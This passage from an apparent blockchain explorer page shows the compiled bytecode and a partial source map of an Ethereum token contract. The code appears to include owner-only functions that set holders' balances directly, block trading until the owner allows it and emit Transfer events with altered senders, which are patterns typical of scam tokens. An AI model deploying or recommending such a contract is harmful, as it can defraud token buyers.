13f7826113b5565b61140181856113bf565b93506114118185602086016113cf565b61141a816113dd565b840191505092915050565b5f6020820190508181035f83015261143d81846113ed565b905092915050565b5f80fd5b5f80fd5b5f73ffffffffffffffffffffffffffffffffffffffff82169050919050565b5f6114768261144d565b9050919050565b6114868161146c565b8114611490575f80fd5b50565b5f813590506114a18161147d565b92915050565b5f819050919050565b6114b9816114a7565b81146114c3575f80fd5b50565b5f813590506114d4816114b0565b92915050565b5f80604083850312156114f0576114ef611445565b5b5f6114fd85828601611493565b925050602061150e858286016114c6565b9150509250929050565b5f8115159050919050565b61152c81611518565b82525050565b5f6020820190506115455f830184611523565b92915050565b611554816114a7565b82525050565b5f60208201905061156d5f83018461154b565b92915050565b5f805f6060848603121561158a57611589611445565b5b5f61159786828701611493565b93505060206115a886828701611493565b92505060406115b9868287016114c6565b9150509250925092565b6115cc8161146c565b82525050565b5f6060820190506115e55f8301866115c3565b6115f2602083018561154b565b6115ff604083018461154b565b949350505050565b5f80fd5b5f80fd5b5f80fd5b5f8083601f84011261162857611627611607565b5b8235905067ffffffffffffffff8111156116455761164461160b565b5b6020830191508360208202830111156116615761166061160f565b5b9250929050565b5f8083601f84011261167d5761167c611607565b5b8235905067ffffffffffffffff81111561169a5761169961160b565b5b6020830191508360208202830111156116b6576116b561160f565b5b9250929050565b5f805f805f606086880312156116d6576116d5611445565b5b5f6116e388828901611493565b955050602086013567ffffffffffffffff81111561170457611703611449565b5b61171088828901611613565b9450945050604086013567ffffffffffffffff81111561173357611732611449565b5b61173f88828901611668565b92509250509295509295909350565b5f6020828403121561176357611762611445565b5b5f611770848285016114c6565b91505092915050565b5f6020828403121561178e5761178d611445565b5b5f61179b84828501611493565b91505092915050565b5f80604083850312156117ba576117b9611445565b5b5f6117c7858286016114c6565b92505060206117d8858286016114c6565b9150509250929050565b5f6020820190506117f55f8301846115c3565b92915050565b5f806040838503121561181157611810611445565b5b5f61181e85828601611493565b925050602061182f85828601611493565b9150509250929050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52602260045260245ffd5b5f600282049050600182168061187d57607f821691505b6020821081036118905761188f611839565b5b50919050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601160045260245ffd5b5f8160011c9050919050565b5f808291508390505b6001851115611918578086048111156118f4576118f3611896565b5b60018516156119035780820291505b8081029050611911856118c3565b94506118d8565b94509492505050565b5f8261193057600190506119eb565b8161193d575f90506119eb565b8160018114611953576002811461195d5761198c565b60019150506119eb565b60ff84111561196f5761196e611896565b5b8360020a91508482111561198657611985611896565b5b506119eb565b5060208310610133831016604e8410600b84101617156119c15782820a9050838111156119bc576119bb611896565b5b6119eb565b6119ce84848460016118cf565b925090508184048111156119e5576119e4611896565b5b81810290505b9392505050565b5f6119fc826114a7565b9150611a07836114a7565b9250611a347fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8484611921565b905092915050565b5f611a46826114a7565b9150611a51836114a7565b9250828202611a5f816114a7565b91508282048414831517611a7657611a75611896565b5b5092915050565b5f611a87826114a7565b9150611a92836114a7565b9250828203905081811115611aaa57611aa9611896565b5b92915050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52603260045260245ffd5b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601260045260245ffd5b5f611b14826114a7565b9150611b1f836114a7565b925082611b2f57611b2e611add565b5b828204905092915050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52604160045260245ffd5b5f81519050611b758161147d565b92915050565b5f60208284031215611b9057611b8f611445565b5b5f611b9d84828501611b67565b91505092915050565b5f819050919050565b5f819050919050565b5f611bd2611bcd611bc884611ba6565b611baf565b6114a7565b9050919050565b611be281611bb8565b82525050565b5f81519050919050565b5f82825260208201905092915050565b5f819050602082019050919050565b611c1a8161146c565b82525050565b5f611c2b8383611c11565b60208301905092915050565b5f602082019050919050565b5f611c4d82611be8565b611c578185611bf2565b9350611c6283611c02565b805f5b83811015611c92578151611c798882611c20565b9750611c8483611c37565b925050600181019050611c65565b5085935050505092915050565b5f60a082019050611cb25f83018861154b565b611cbf6020830187611bd9565b8181036040830152611cd18186611c43565b9050611ce060608301856115c3565b611ced608083018461154b565b9695505050505050565b5f611d01826114a7565b9150611d0c836114a7565b9250828201905080821115611d2457611d23611896565b5b9291505056fea2646970667358221220dd90362659a303b5e099be6fa04242b86b9dce5d403f4c9ab9eeafb54608657c64736f6c63430008190033

Deployed Bytecode

0x6080604052600436106100f6575f3560e01c806370a0823111610089578063a8aa1b3111610058578063a8aa1b3114610329578063a9059cbb14610353578063c9567bf91461038f578063dd62ed3e146103a5576100fd565b806370a08231146102735780637c879f5b146102af5780638187f516146102d757806395d89b41146102ff576100fd565b8063313ce567116100c5578063313ce567146101cd5780634abe3052146101f757806363aedb38146102235780636e669d7a1461024b576100fd565b806306fdde0314610101578063095ea7b31461012b57806318160ddd1461016757806323b872dd14610191576100fd565b366100fd57005b5f80fd5b34801561010c575f80fd5b506101156103e1565b6040516101229190611425565b60405180910390f35b348015610136575f80fd5b50610151600480360381019061014c91906114da565b610470565b60405161015e9190611532565b60405180910390f35b348015610172575f80fd5b5061017b61055d565b604051610188919061155a565b60405180910390f35b34801561019c575f80fd5b506101b760048036038101906101b29190611573565b61057d565b6040516101c49190611532565b60405180910390f35b3480156101d8575f80fd5b506101e1610620565b6040516101ee919061155a565b60405180910390f35b348015610202575f80fd5b5061020b610625565b60405161021a939291906115d2565b60405180910390f35b34801561022e575f80fd5b50610249600480360381019061024491906116bd565b61065b565b005b348015610256575f80fd5b50610271600480360381019061026c919061174e565b610810565b005b34801561027e575f80fd5b5061029960048036038101906102949190611779565b6108b6565b6040516102a6919061155a565b60405180910390f35b3480156102ba575f80fd5b506102d560048036038101906102d091906117a4565b6108cb565b005b3480156102e2575f80fd5b506102fd60048036038101906102f89190611779565b610945565b005b34801561030a575f80fd5b506103136109f4565b6040516103209190611425565b60405180910390f35b348015610334575f80fd5b5061033d610a84565b60405161034a91906117e2565b60405180910390f35b34801561035e575f80fd5b50610379600480360381019061037491906114da565b610aa9565b6040516103869190611532565b60405180910390f35b34801561039a575f80fd5b506103a3610abd565b005b3480156103b0575f80fd5b506103cb60048036038101906103c691906117fb565b610b31565b6040516103d8919061155a565b60405180910390f35b60605f80546103ef90611866565b80601f016020809104026020016040519081016040528092919081815260200182805461041b90611866565b80156104665780601f1061043d57610100808354040283529160200191610466565b820191905f5260205f20905b81548152906001019060200180831161044957829003601f168201915b5050505050905090565b5f8160065f3373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9258460405161054b919061155a565b60405180910390a36001905092915050565b6012600a61056b91906119f2565b6301406f4061057a9190611a3c565b81565b5f8160065f8673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f3373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8282546106059190611a7d565b92505081905550610617848484610b51565b90509392505050565b601281565b6002805f015f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff16908060010154908060020154905083565b610663611374565b73ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16146106c7576040517f9af2b10000000000000000000000000000000000000000000000000000000000815260040160405180910390fd5b5f5b84849050811015610808578282828181106106e7576106e6611ab0565b5b9050602002013560055f87878581811061070457610703611ab0565b5b90506020020160208101906107199190611779565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f208190555084848281811061076957610768611ab0565b5b905060200201602081019061077e9190611779565b73ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8585858181106107df576107de611ab0565b5b905060200201356040516107f3919061155a565b60405180910390a380806001019150506106c9565b505050505050565b610818611374565b73ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161461087c576040517f9af2b10000000000000000000000000000000000000000000000000000000000815260040160405180910390fd5b7f19755d25ea178146bd0c80065bb3baa90da55af45e342cf3c07de168a277da02816040516108ab919061155a565b60405180910390a150565b6005602052805f5260405f205f915090505481565b6108d3611374565b73ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614610937576040517f9af2b10000000000000000000000000000000000000000000000000000000000815260040160405180910390fd5b610941828261139e565b5050565b61094d611374565b73ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16146109b1576040517f9af2b10000000000000000000000000000000000000000000000000000000000815260040160405180910390fd5b8060075f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b606060018054610a0390611866565b80601f0160208091040260200160405190810160405280929190818152602001828054610a2f90611866565b8015610a7a5780601f10610a5157610100808354040283529160200191610a7a565b820191905f5260205f20905b815481529060010190602001808311610a5d57829003601f168201915b5050505050905090565b60075f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b5f610ab5338484610b51565b905092915050565b610ac5611374565b73ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614610afb575f80fd5b600860159054906101000a900460ff1615610b14575f80fd5b6001600860156101000a81548160ff021916908315150217905550565b6006602052815f5260405f20602052805f5260405f205f91509150505481565b5f80610b5b611374565b9050600860159054906101000a900460ff1680610ba357508073ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff16145b80610bd957508073ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff16145b610be1575f80fd5b8260055f8773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f828254610c2d9190611a7d565b9250508190555060075f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff16148015610c9d5750600860149054906101000a900460ff16155b8015610d0e575060646012600a610cb491906119f2565b6301406f40610cc39190611a3c565b610ccd9190611b0a565b60055f3073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205410155b8015610d4657508073ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff1614155b15610fb0576001600860146101000a81548160ff0219169083151502179055505f600267ffffffffffffffff811115610d8257610d81611b3a565b5b604051908082528060200260200182016040528015610db05781602001602082028036833780820191505090505b50905030815f81518110610dc757610dc6611ab0565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff168152505060085f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015610e6b573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610e8f9190611b7b565b81600181518110610ea357610ea2611ab0565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff168152505060085f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663eb6f613960646012600a610f2a91906119f2565b6301406f40610f399190611a3c565b610f439190611b0a565b5f8430426040518663ffffffff1660e01b8152600401610f67959493929190611c9f565b5f604051808303815f87803b158015610f7e575f80fd5b505af1158015610f90573d5f803e3d5ffd5b505050505f600860146101000a81548160ff021916908315150217905550505b5f806002600101546002800154915091503073ffffffffffffffffffffffffffffffffffffffff168773ffffffffffffffffffffffffffffffffffffffff1614158015611010575060011515600860159054906101000a900460ff161515145b156110ee575f606460075f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168873ffffffffffffffffffffffffffffffffffffffff16146110725783611074565b825b8761107f9190611a3c565b6110899190611b0a565b905080866110979190611a7d565b95508060055f3073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8282546110e59190611cf7565b92505081905550505b8460055f8873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f82825461113a9190611cf7565b92505081905550600a5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168773ffffffffffffffffffffffffffffffffffffffff1603611220578573ffffffffffffffffffffffffffffffffffffffff1660095f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef87604051611213919061155a565b60405180910390a3611366565b600a5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff16036112ff5760095f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168773ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef876040516112f2919061155a565b60405180910390a3611365565b8573ffffffffffffffffffffffffffffffffffffffff168773ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8760405161135c919061155a565b60405180910390a35b5b600193505050509392505050565b5f60025f015f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b816002600101819055508060028001819055505050565b5f81519050919050565b5f82825260208201905092915050565b8281835e5f83830152505050565b5f601f19601f8301169050919050565b5f6113f7826113b5565b61140181856113bf565b93506114118185602086016113cf565b61141a816113dd565b840191505092915050565b5f6020820190508181035f83015261143d81846113ed565b905092915050565b5f80fd5b5f80fd5b5f73ffffffffffffffffffffffffffffffffffffffff82169050919050565b5f6114768261144d565b9050919050565b6114868161146c565b8114611490575f80fd5b50565b5f813590506114a18161147d565b92915050565b5f819050919050565b6114b9816114a7565b81146114c3575f80fd5b50565b5f813590506114d4816114b0565b92915050565b5f80604083850312156114f0576114ef611445565b5b5f6114fd85828601611493565b925050602061150e858286016114c6565b9150509250929050565b5f8115159050919050565b61152c81611518565b82525050565b5f6020820190506115455f830184611523565b92915050565b611554816114a7565b82525050565b5f60208201905061156d5f83018461154b565b92915050565b5f805f6060848603121561158a57611589611445565b5b5f61159786828701611493565b93505060206115a886828701611493565b92505060406115b9868287016114c6565b9150509250925092565b6115cc8161146c565b82525050565b5f6060820190506115e55f8301866115c3565b6115f2602083018561154b565b6115ff604083018461154b565b949350505050565b5f80fd5b5f80fd5b5f80fd5b5f8083601f84011261162857611627611607565b5b8235905067ffffffffffffffff8111156116455761164461160b565b5b6020830191508360208202830111156116615761166061160f565b5b9250929050565b5f8083601f84011261167d5761167c611607565b5b8235905067ffffffffffffffff81111561169a5761169961160b565b5b6020830191508360208202830111156116b6576116b561160f565b5b9250929050565b5f805f805f606086880312156116d6576116d5611445565b5b5f6116e388828901611493565b955050602086013567ffffffffffffffff81111561170457611703611449565b5b61171088828901611613565b9450945050604086013567ffffffffffffffff81111561173357611732611449565b5b61173f88828901611668565b92509250509295509295909350565b5f6020828403121561176357611762611445565b5b5f611770848285016114c6565b91505092915050565b5f6020828403121561178e5761178d611445565b5b5f61179b84828501611493565b91505092915050565b5f80604083850312156117ba576117b9611445565b5b5f6117c7858286016114c6565b92505060206117d8858286016114c6565b9150509250929050565b5f6020820190506117f55f8301846115c3565b92915050565b5f806040838503121561181157611810611445565b5b5f61181e85828601611493565b925050602061182f85828601611493565b9150509250929050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52602260045260245ffd5b5f600282049050600182168061187d57607f821691505b6020821081036118905761188f611839565b5b50919050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601160045260245ffd5b5f8160011c9050919050565b5f808291508390505b6001851115611918578086048111156118f4576118f3611896565b5b60018516156119035780820291505b8081029050611911856118c3565b94506118d8565b94509492505050565b5f8261193057600190506119eb565b8161193d575f90506119eb565b8160018114611953576002811461195d5761198c565b60019150506119eb565b60ff84111561196f5761196e611896565b5b8360020a91508482111561198657611985611896565b5b506119eb565b5060208310610133831016604e8410600b84101617156119c15782820a9050838111156119bc576119bb611896565b5b6119eb565b6119ce84848460016118cf565b925090508184048111156119e5576119e4611896565b5b81810290505b9392505050565b5f6119fc826114a7565b9150611a07836114a7565b9250611a347fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8484611921565b905092915050565b5f611a46826114a7565b9150611a51836114a7565b9250828202611a5f816114a7565b91508282048414831517611a7657611a75611896565b5b5092915050565b5f611a87826114a7565b9150611a92836114a7565b9250828203905081811115611aaa57611aa9611896565b5b92915050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52603260045260245ffd5b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601260045260245ffd5b5f611b14826114a7565b9150611b1f836114a7565b925082611b2f57611b2e611add565b5b828204905092915050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52604160045260245ffd5b5f81519050611b758161147d565b92915050565b5f60208284031215611b9057611b8f611445565b5b5f611b9d84828501611b67565b91505092915050565b5f819050919050565b5f819050919050565b5f611bd2611bcd611bc884611ba6565b611baf565b6114a7565b9050919050565b611be281611bb8565b82525050565b5f81519050919050565b5f82825260208201905092915050565b5f819050602082019050919050565b611c1a8161146c565b82525050565b5f611c2b8383611c11565b60208301905092915050565b5f602082019050919050565b5f611c4d82611be8565b611c578185611bf2565b9350611c6283611c02565b805f5b83811015611c92578151611c798882611c20565b9750611c8483611c37565b925050600181019050611c65565b5085935050505092915050565b5f60a082019050611cb25f83018861154b565b611cbf6020830187611bd9565b8181036040830152611cd18186611c43565b9050611ce060608301856115c3565b611ced608083018461154b565b9695505050505050565b5f611d01826114a7565b9150611d0c836114a7565b9250828201905080821115611d2457611d23611896565b5b9291505056fea2646970667358221220dd90362659a303b5e099be6fa04242b86b9dce5d403f4c9ab9eeafb54608657c64736f6c63430008190033

Deployed Bytecode Sourcemap

900:6640:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;5545:91;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;5193:207;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;1058:65;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;4962:223;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;1014:37;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;1132:26;;;;;;;;;;;;;:::i;:::-;;;;;;;;;:::i;:::-;;;;;;;;4096:407;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;3754:174;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;1449:44;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;3553:193;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;3936:152;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;5644:95;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;1573:19;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;5408:129;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;4790:164;;;;;;;;;;;;;:::i;:::-;;1500:64;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;5545:91;5590:13;5623:5;5616:12;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;5545:91;:::o;5193:207::-;5261:4;5311:6;5278:9;:21;5288:10;5278:21;;;;;;;;;;;;;;;:30;5300:7;5278:30;;;;;;;;;;;;;;;:39;;;;5354:7;5333:37;;5342:10;5333:37;;;5363:6;5333:37;;;;;;:::i;:::-;;;;;;;;5388:4;5381:11;;5193:207;;;;:::o;1058:65::-;1049:2;1109;:14;;;;:::i;:::-;1096:10;:27;;;;:::i;:::-;1058:65;:::o;4962:223::-;5078:4;5126:6;5095:9;:15;5105:4;5095:15;;;;;;;;;;;;;;;:27;5111:10;5095:27;;;;;;;;;;;;;;;;:37;;;;;;;:::i;:::-;;;;;;;;5150:27;5160:4;5166:2;5170:6;5150:9;:27::i;:::-;5143:34;;4962:223;;;;;:::o;1014:37::-;1049:2;1014:37;:::o;1132:26::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::o;4096:407::-;4264:29;:27;:29::i;:::-;4250:43;;:10;:43;;;4246:69;;4302:13;;;;;;;;;;;;;;4246:69;4331:9;4326:170;4350:8;;:15;;4346:1;:19;4326:170;;;4412:7;;4420:1;4412:10;;;;;;;:::i;:::-;;;;;;;;4387:9;:22;4397:8;;4406:1;4397:11;;;;;;;:::i;:::-;;;;;;;;;;;;;;;:::i;:::-;4387:22;;;;;;;;;;;;;;;:35;;;;4460:8;;4469:1;4460:11;;;;;;;:::i;:::-;;;;;;;;;;;;;;;:::i;:::-;4442:42;;4451:7;4442:42;;;4473:7;;4481:1;4473:10;;;;;;;:::i;:::-;;;;;;;;4442:42;;;;;;:::i;:::-;;;;;;;;4367:3;;;;;;;4326:170;;;;4096:407;;;;;:::o;3754:174::-;3833:29;:27;:29::i;:::-;3819:43;;:10;:43;;;3815:69;;3871:13;;;;;;;;;;;;;;3815:69;3900:20;3913:6;3900:20;;;;;;:::i;:::-;;;;;;;;3754:174;:::o;1449:44::-;;;;;;;;;;;;;;;;;:::o;3553:193::-;3639:29;:27;:29::i;:::-;3625:43;;:10;:43;;;3621:69;;3677:13;;;;;;;;;;;;;;3621:69;3701:37;3726:4;3732:5;3701:24;:37::i;:::-;3553:193;;:::o;3936:152::-;4006:29;:27;:29::i;:::-;3992:43;;:10;:43;;;3988:69;;4044:13;;;;;;;;;;;;;;3988:69;4075:5;4068:4;;:12;;;;;;;;;;;;;;;;;;3936:152;:::o;5644:95::-;5691:13;5724:7;5717:14;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;5644:95;:::o;1573:19::-;;;;;;;;;;;;;:::o;5408:129::-;5472:4;5496:33;5506:10;5518:2;5522:6;5496:9;:33::i;:::-;5489:40;;5408:129;;;;:::o;4790:164::-;4855:29;:27;:29::i;:::-;4841:43;;:10;:43;;;4833:52;;;;;;4905:11;;;;;;;;;;;4904:12;4896:21;;;;;;4942:4;4928:11;;:18;;;;;;;;;;;;;;;;;;4790:164::o;1500:64::-;;;;;;;;;;;;;;;;;;;;;;;;;;:::o;5896:1641::-;6009:4;6026:16;6045:29;:27;:29::i;:::-;6026:48;;6093:11;;;;;;;;;;;:31;;;;6116:8;6108:16;;:4;:16;;;6093:31;:49;;;;6134:8;6128:14;;:2;:14;;;6093:49;6085:58;;;;;;6175:6;6156:9;:15;6166:4;6156:15;;;;;;;;;;;;;;;;:25;;;;;;;:::i;:::-;;;;;;;;6218:4;;;;;;;;;;;6212:10;;:2;:10;;;:36;;;;;6240:8;;;;;;;;;;;6239:9;6212:36;:91;;;;;1209:3;1049:2;1109;:14;;;;:::i;:::-;1096:10;:27;;;;:::i;:::-;1195:17;;;;:::i;:::-;6265:9;:24;6283:4;6265:24;;;;;;;;;;;;;;;;:38;;6212:91;:124;;;;;6328:8;6320:16;;:4;:16;;;;6212:124;6194:648;;;6374:4;6363:8;;:15;;;;;;;;;;;;;;;;;;6393:21;6431:1;6417:16;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;6393:40;;6466:4;6448;6453:1;6448:7;;;;;;;;:::i;:::-;;;;;;;:23;;;;;;;;;;;6496:16;;;;;;;;;;;:21;;;:23;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;6486:4;6491:1;6486:7;;;;;;;;:::i;:::-;;;;;;;:33;;;;;;;;;;;6534:16;;;;;;;;;;;:88;;;1209:3;1049:2;1109;:14;;;;:::i;:::-;1096:10;:27;;;;:::i;:::-;1195:17;;;;:::i;:::-;6678:1;6702:4;6737;6765:15;6534:265;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;6825:5;6814:8;;:16;;;;;;;;;;;;;;;;;;6348:494;6194:648;6855:15;6872:16;6893:9;:16;;;6911:9;:17;;;6854:75;;;;6960:4;6944:21;;:4;:21;;;;:44;;;;;6984:4;6969:19;;:11;;;;;;;;;;;:19;;;6944:44;6940:280;;;7005:27;7099:3;7069:4;;;;;;;;;;;7063:10;;:2;:10;;;:31;;7087:7;7063:31;;;7076:8;7063:31;7036:6;:59;;;;:::i;:::-;7035:67;;;;:::i;:::-;7005:97;;7127:19;7117:29;;;;;:::i;:::-;;;7189:19;7161:9;:24;7179:4;7161:24;;;;;;;;;;;;;;;;:47;;;;;;;:::i;:::-;;;;;;;;6990:230;6940:280;7247:6;7230:9;:13;7240:2;7230:13;;;;;;;;;;;;;;;;:23;;;;;;;:::i;:::-;;;;;;;;7278:9;;;;;;;;;;;7270:17;;:4;:17;;;7266:242;;7329:2;7309:31;;7318:9;;;;;;;;;;;7309:31;;;7333:6;7309:31;;;;;;:::i;:::-;;;;;;;;7266:242;;;7368:9;;;;;;;;;;;7362:15;;:2;:15;;;7358:150;;7414:9;;;;;;;;;;;7399:33;;7408:4;7399:33;;;7425:6;7399:33;;;;;;:::i;:::-;;;;;;;;7358:150;;;7485:2;7470:26;;7479:4;7470:26;;;7489:6;7470:26;;;;;;:::i;:::-;;;;;;;;7358:150;7266:242;7525:4;7518:11;;;;;5896:1641;;;;;:::o;4668:114::-;4729:7;4756:9;:18;;;;;;;;;;;;4749:25;;4668:114;:::o;4511:149::-;4612:4;4593:9;:16;;:23;;;;4647:5;4627:9;:17;;:25;;;;4511:149;;:::o;7:99:1:-;59:6;93:5;87:12;77:22;;7:99;;;:::o;112:169::-;196:11;230:6;225:3;218:19;270:4;265:3;261:14;246:29;;112:169;;;;:::o;287:139::-;376:6;371:3;366;360:23;417:1;408:6;403:3;399:16;392:27;287:139;;;:::o;432:102::-;473:6;524:2;520:7;515:2;508:5;504:14;500:28;490:38;;432:102;;;:::o;540:377::-;628:3;656:39;689:5;656:39;:::i;:::-;711:71;775:6;770:3;711:71;:::i;:::-;704:78;;791:65;849:6;844:3;837:4;830:5;826:16;791:65;:::i;:::-;881:29;903:6;881:29;:::i;:::-;876:3;872:39;865:46;;632:285;540:377;;;;:::o;923:313::-;1036:4;1074:2;1063:9;1059:18;1051:26;;1123:9;1117:4;1113:20;1109:1;1098:9;1094:17;1087:47;1151:78;1224:4;1215:6;1151:78;:::i;:::-;1143:86;;923:313;;;;:::o;1323:117::-;1432:1;1429;1422:12;1446:117;1555:1;1552;1545:12;1569:126;1606:7;1646:42;1639:5;1635:54;1624:65;;1569:126;;;:::o;1701:96::-;1738:7;1767:24;1785:5;1767:24;:::i;:::-;1756:35;;1701:96;;;:::o;1803:122::-;1876:24;1894:5;1876:24;:::i;:::-;1869:5;1866:35;1856:63;;1915:1;1912;1905:12;1856:63;1803:122;:::o;1931:139::-;1977:5;2015:6;2002:20;1993:29;;2031:33;2058:5;2031:33;:::i;:::-;1931:139;;;;:::o;2076:77::-;2113:7;2142:5;2131:16;;2076:77;;;:::o;2159:122::-;2232:24;2250:5;2232:24;:::i;:::-;2225:5;2222:35;2212:63;;2271:1;2268;2261:12;2212:63;2159:122;:::o;2287:139::-;2333:5;2371:6;2358:20;2349:29;;2387:33;2414:5;2387:33;:::i;:::-;2287:139;;;;:::o;2432:474::-;2500:6;2508;2557:2;2545:9;2536:7;2532:23;2528:32;2525:119;;;2563:79;;:::i;:::-;2525:119;2683:1;2708:53;2753:7;2744:6;2733:9;2729:22;2708:53;:::i;:::-;2698:63;;2654:117;2810:2;2836:53;2881:7;2872:6;2861:9;2857:22;2836:53;:::i;:::-;2826:63;;2781:118;2432:474;;;;;:::o;2912:90::-;2946:7;2989:5;2982:13;2975:21;2964:32;;2912:90;;;:::o;3008:109::-;3089:21;3104:5;3089:21;:::i;:::-;3084:3;3077:34;3008:109;;:::o;3123:210::-;3210:4;3248:2;3237:9;3233:18;3225:26;;3261:65;3323:1;3312:9;3308:17;3299:6;3261:65;:::i;:::-;3123:210;;;;:::o;3339:118::-;3426:24;3444:5;3426:24;:::i;:::-;3421:3;3414:37;3339:118;;:::o;3463:222::-;3556:4;3594:2;3583:9;3579:18;3571:26;;3607:71;3675:1;3664:9;3660:17;3651:6;3607:71;:::i;:::-;34